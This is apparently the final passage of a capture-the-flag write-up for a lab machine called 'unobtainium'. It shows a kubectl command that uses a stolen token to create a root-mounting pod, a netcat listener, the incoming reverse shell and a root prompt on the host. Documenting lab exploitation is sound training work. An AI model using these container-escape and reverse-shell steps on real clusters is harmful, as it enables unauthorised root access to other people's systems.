./kubectl --token $(cat token) create -f mount_root.yaml

We get the shell!

nc -nlvp 4434
listening on [any] 4434 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 45130
bash: cannot set terminal process group (171718): Inappropriate ioctl for device
bash: no job control in this shell
root@unobtainium:/usr/src/app#

We’re now on the host machine as root

Machine completed